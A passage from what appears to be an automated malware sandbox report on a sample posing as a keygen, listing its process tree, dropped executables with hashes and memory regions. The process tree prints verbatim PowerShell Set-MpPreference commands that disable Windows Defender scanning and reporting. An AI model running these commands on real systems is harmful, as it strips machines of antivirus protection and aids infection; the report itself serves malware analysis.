          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          Suspicious use of AdjustPrivilegeToken
          PID:1172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          Suspicious use of AdjustPrivilegeToken
          PID:2200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          Suspicious use of AdjustPrivilegeToken
          PID:3136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          Suspicious use of AdjustPrivilegeToken
          PID:2008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          Suspicious use of AdjustPrivilegeToken
          PID:3416
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          Suspicious use of AdjustPrivilegeToken
          PID:4396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          Suspicious use of AdjustPrivilegeToken
          PID:1392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:4840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:4532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:5272
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4788
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\mgovv5kp.exe
      PID:6104
      • C:\Windows\temp\mgovv5kp.exe
        C:\Windows\temp\mgovv5kp.exe
        Executes dropped EXE
        PID:4524
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          PID:5160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          PID:984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          PID:184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          PID:6080
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          PID:5356
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          PID:204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          PID:4636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          PID:5884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          PID:4412
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          PID:5444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:3772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:3220
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:2356
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      PID:5008

Network

MITRE ATT&CK Matrix

Command and Control

    Credential Access

    Execution

      Exfiltration

        Impact

          Initial Access

            Lateral Movement

              Privilege Escalation

                Replay Monitor

                00:00 00:00

                Downloads

                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
                • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
                • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
                • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UrXJ4xouC3.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WxzzZNQHI3.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YbZiyFsdYL.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZSZAUJV5RA.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kw3aCw7M67.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\J8DC2YUI.cookie
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\Keygen.exe
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\Keygen.exe
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\b.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\b1.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\ba.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\ba1.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\m.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\m1.hta
                • C:\Users\Admin\AppData\Local\Temp\7361.tmp\start.bat
                • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
                • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
                • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
                • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
                • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
                • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                • C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe
                • C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe
                • C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
                • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
                • C:\Users\Admin\AppData\Local\Temp\cnThYCQFnu.exe
                • C:\Users\Admin\AppData\Local\Temp\cnThYCQFnu.exe
                • C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe
                • C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe
                • C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe
                • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                • C:\Users\Public\jev.exe
                • C:\Users\Public\jev.exe
                • C:\Users\Public\jui.exe
                • C:\Users\Public\jui.exe
                • C:\Users\Public\jui.exe
                • C:\Users\Public\odx.exe
                • C:\Users\Public\odx.exe
                • C:\Users\Public\odx.exe
                • C:\Windows\Temp\f1xl0ksx.exe
                  MD5

                  f4b5c1ebf4966256f52c4c4ceae87fb1

                  SHA1

                  ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                  SHA256

                  88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                  SHA512

                  02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                • C:\Windows\Temp\mgovv5kp.exe
                  MD5

                  f4b5c1ebf4966256f52c4c4ceae87fb1

                  SHA1

                  ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                  SHA256

                  88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                  SHA512

                  02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                • C:\Windows\temp\a0p14iod.inf
                • C:\Windows\temp\f1xl0ksx.exe
                  MD5

                  f4b5c1ebf4966256f52c4c4ceae87fb1

                  SHA1

                  ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                  SHA256

                  88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                  SHA512

                  02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                • C:\Windows\temp\fptkpzoo.inf
                • C:\Windows\temp\mgovv5kp.exe
                  MD5

                  f4b5c1ebf4966256f52c4c4ceae87fb1

                  SHA1

                  ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                  SHA256

                  88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                  SHA512

                  02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                • \ProgramData\mozglue.dll
                • \ProgramData\mozglue.dll
                • \ProgramData\nss3.dll
                • \ProgramData\nss3.dll
                • \ProgramData\sqlite3.dll
                • \ProgramData\sqlite3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\freebl3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\freebl3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\freebl3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\freebl3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
                • \Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
                • \Users\Admin\AppData\LocalLow\sqlite3.dll
                • \Users\Admin\AppData\LocalLow\sqlite3.dll
                • memory/184-808-0x0000000000000000-mapping.dmp
                • memory/184-813-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/204-818-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/204-812-0x0000000000000000-mapping.dmp
                • memory/428-251-0x0000000000130000-0x0000000000131000-memory.dmp
                • memory/428-246-0x0000000000000000-mapping.dmp
                • memory/428-245-0x0000000000000000-mapping.dmp
                • memory/428-249-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/480-790-0x0000000000000000-mapping.dmp
                • memory/500-39-0x00000000079A0000-0x00000000079A1000-memory.dmp
                • memory/500-16-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/500-19-0x00000000045E0000-0x00000000045E1000-memory.dmp
                • memory/500-53-0x00000000081C0000-0x00000000081C1000-memory.dmp
                • memory/500-43-0x0000000007A10000-0x0000000007A11000-memory.dmp
                • memory/500-22-0x00000000070B0000-0x00000000070B1000-memory.dmp
                • memory/500-36-0x0000000007750000-0x0000000007751000-memory.dmp
                • memory/500-12-0x0000000000000000-mapping.dmp
                • memory/564-13-0x0000000000000000-mapping.dmp
                • memory/564-17-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/724-2-0x0000000000000000-mapping.dmp
                • memory/724-4-0x0000000000000000-mapping.dmp
                • memory/908-567-0x0000000000000000-mapping.dmp
                • memory/984-807-0x0000000000000000-mapping.dmp
                • memory/984-810-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/1044-70-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/1044-66-0x0000000000000000-mapping.dmp
                • memory/1064-57-0x00000000082F0000-0x00000000082F1000-memory.dmp
                • memory/1064-26-0x0000000000000000-mapping.dmp
                • memory/1064-79-0x0000000009AB0000-0x0000000009AB1000-memory.dmp
                • memory/1064-82-0x0000000009080000-0x0000000009081000-memory.dmp
                • memory/1064-30-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/1076-213-0x0000000000000000-mapping.dmp
                • memory/1172-265-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/1172-262-0x0000000000000000-mapping.dmp
                • memory/1180-27-0x0000000000000000-mapping.dmp
                • memory/1388-64-0x0000000000000000-mapping.dmp
                • memory/1392-284-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/1392-279-0x0000000000000000-mapping.dmp
                • memory/1564-241-0x00000000051A0000-0x00000000052A1000-memory.dmp
                • memory/1564-235-0x0000000000000000-mapping.dmp
                • memory/1764-21-0x0000000000000000-mapping.dmp
                • memory/1804-609-0x0000000000400000-0x0000000000420000-memory.dmp
                • memory/1804-604-0x0000000000400000-0x0000000000420000-memory.dmp
                • memory/1804-607-0x000000000041A684-mapping.dmp
                • memory/1840-0-0x0000000000000000-mapping.dmp
                • memory/1896-182-0x0000000000000000-mapping.dmp
                • memory/2008-271-0x0000000000000000-mapping.dmp
                • memory/2008-277-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/2200-263-0x0000000000000000-mapping.dmp
                • memory/2200-268-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/2308-62-0x0000000000000000-mapping.dmp
                • memory/2348-260-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/2348-258-0x0000000000000000-mapping.dmp
                • memory/2356-841-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/2356-832-0x0000000000000000-mapping.dmp
                • memory/2488-214-0x00000000054A0000-0x00000000054D9000-memory.dmp
                • memory/2488-187-0x0000000000960000-0x0000000000961000-memory.dmp
                • memory/2488-215-0x0000000006D90000-0x0000000006DA6000-memory.dmp
                • memory/2488-183-0x0000000000000000-mapping.dmp
                • memory/2488-186-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/2528-547-0x0000000000000000-mapping.dmp
                • memory/2528-645-0x0000000002A70000-0x0000000002ACC000-memory.dmp
                • memory/2528-794-0x0000000000820000-0x0000000000871000-memory.dmp
                • memory/2568-533-0x0000000000000000-mapping.dmp
                • memory/2568-537-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/2800-644-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/2800-641-0x000000000040C76E-mapping.dmp
                • memory/2808-300-0x0000000005480000-0x00000000054BC000-memory.dmp
                • memory/2808-206-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/2808-200-0x0000000000000000-mapping.dmp
                • memory/2808-209-0x00000000007A0000-0x00000000007A1000-memory.dmp
                • memory/3036-157-0x0000000000417A8B-mapping.dmp
                • memory/3036-154-0x0000000000400000-0x0000000000438000-memory.dmp
                • memory/3036-159-0x0000000000400000-0x0000000000438000-memory.dmp
                • memory/3136-269-0x0000000000000000-mapping.dmp
                • memory/3136-273-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/3180-156-0x0000000000400000-0x0000000000424000-memory.dmp
                • memory/3180-153-0x000000000041A684-mapping.dmp
                • memory/3180-152-0x0000000000400000-0x0000000000424000-memory.dmp
                • memory/3220-831-0x0000000000000000-mapping.dmp
                • memory/3220-838-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/3224-7-0x0000000000000000-mapping.dmp
                • memory/3276-139-0x0000000000000000-mapping.dmp
                • memory/3416-275-0x0000000000000000-mapping.dmp
                • memory/3416-280-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/3444-202-0x0000000000000000-mapping.dmp
                • memory/3532-796-0x0000000000000000-mapping.dmp
                • memory/3560-798-0x000000000040DDD4-mapping.dmp
                • memory/3740-138-0x0000000000000000-mapping.dmp
                • memory/3748-224-0x0000000004DA0000-0x0000000004DDD000-memory.dmp
                • memory/3748-199-0x0000000000150000-0x0000000000151000-memory.dmp
                • memory/3748-198-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/3748-195-0x0000000000000000-mapping.dmp
                • memory/3772-833-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/3772-825-0x0000000000000000-mapping.dmp
                • memory/3812-10-0x0000000000000000-mapping.dmp
                • memory/3856-593-0x0000000000000000-mapping.dmp
                • memory/3936-144-0x0000000000400000-0x0000000000497000-memory.dmp
                • memory/3936-151-0x0000000000400000-0x0000000000497000-memory.dmp
                • memory/3936-147-0x000000000043FA56-mapping.dmp
                • memory/3964-107-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/3964-318-0x0000000008B70000-0x0000000008B71000-memory.dmp
                • memory/3964-118-0x0000000004BF0000-0x0000000004BF1000-memory.dmp
                • memory/3964-103-0x0000000000000000-mapping.dmp
                • memory/3964-121-0x0000000008640000-0x0000000008641000-memory.dmp
                • memory/3964-117-0x0000000004C30000-0x0000000004C31000-memory.dmp
                • memory/3964-122-0x0000000008190000-0x00000000081A4000-memory.dmp
                • memory/3964-113-0x0000000000310000-0x0000000000311000-memory.dmp
                • memory/3964-317-0x0000000008450000-0x000000000850A000-memory.dmp
                • memory/4004-180-0x0000000000000000-mapping.dmp
                • memory/4032-773-0x0000000000000000-mapping.dmp
                • memory/4076-230-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/4076-227-0x000000000040616E-mapping.dmp
                • memory/4076-226-0x0000000000400000-0x000000000040C000-memory.dmp
                • memory/4208-9-0x0000000000000000-mapping.dmp
                • memory/4344-15-0x0000000000000000-mapping.dmp
                • memory/4380-751-0x0000000000400000-0x0000000000434000-memory.dmp
                • memory/4380-756-0x0000000000400000-0x0000000000434000-memory.dmp
                • memory/4380-754-0x0000000000417A8B-mapping.dmp
                • memory/4396-282-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4396-276-0x0000000000000000-mapping.dmp
                • memory/4412-826-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4412-819-0x0000000000000000-mapping.dmp
                • memory/4436-217-0x0000000000400000-0x0000000000412000-memory.dmp
                • memory/4436-220-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/4436-218-0x000000000040C76E-mapping.dmp
                • memory/4512-244-0x0000000000000000-mapping.dmp
                • memory/4520-49-0x0000000007C90000-0x0000000007C91000-memory.dmp
                • memory/4520-98-0x0000000008CE0000-0x0000000008CE1000-memory.dmp
                • memory/4520-25-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/4520-23-0x0000000000000000-mapping.dmp
                • memory/4520-97-0x0000000009450000-0x0000000009451000-memory.dmp
                • memory/4520-32-0x0000000006EE0000-0x0000000006EE1000-memory.dmp
                • memory/4520-99-0x000000000A2D0000-0x000000000A2D1000-memory.dmp
                • memory/4524-765-0x0000000000000000-mapping.dmp
                • memory/4524-769-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4524-766-0x0000000000000000-mapping.dmp
                • memory/4532-291-0x0000000000000000-mapping.dmp
                • memory/4532-293-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4564-132-0x0000000000000000-mapping.dmp
                • memory/4604-67-0x0000000070890000-0x0000000070F7E000-memory.dmp
                • memory/4604-65-0x0000000000000000-mapping.dmp
                • memory/4636-820-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4636-814-0x0000000000000000-mapping.dmp
                • memory/4660-105-0x0000000000000000-mapping.dmp
                • memory/4728-257-0x000001DB9EB00000-0x000001DB9EB01000-memory.dmp
                • memory/4728-255-0x000001DB9C080000-0x000001DB9C081000-memory.dmp
                • memory/4728-253-0x0000000000000000-mapping.dmp
                • memory/4728-254-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4752-259-0x0000000000000000-mapping.dmp
                • memory/4752-261-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4788-250-0x0000000000000000-mapping.dmp
                • memory/4840-292-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
                • memory/4840-290-0x0000000000000000-mapping.dmp
                • memory/4968-191-0x0000000000000000-mapping.dmp
                • memory/4968-344-0x0000000004D10000-0x0000000004D61000-memory.dmp
                • memory/4968-264-0x00000000041C0000-0x000000000421C000-memory.dmp
                • memory/4968-757-0x0000000050480000-0x000000005049A000-memory.dmp
                • memory/5008-774-0x0000000000000000-mapping.dmp
                • memory/5044-761-0x0000000000400000-0x0000000000418000-memory.dmp
                • memory/5044-762-0x000000000040DDD4-mapping.dmp
                • memory/5044-763-0x0000000000400000-0x0000000000418000-memory.dmp
                • memory/5160-805-0x000001EAF2540000-0x000001EAF2541000-memory.dmp
                • memory/5160-772-0x0000000000000000-mapping.dmp
                • memory/5160-777-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp
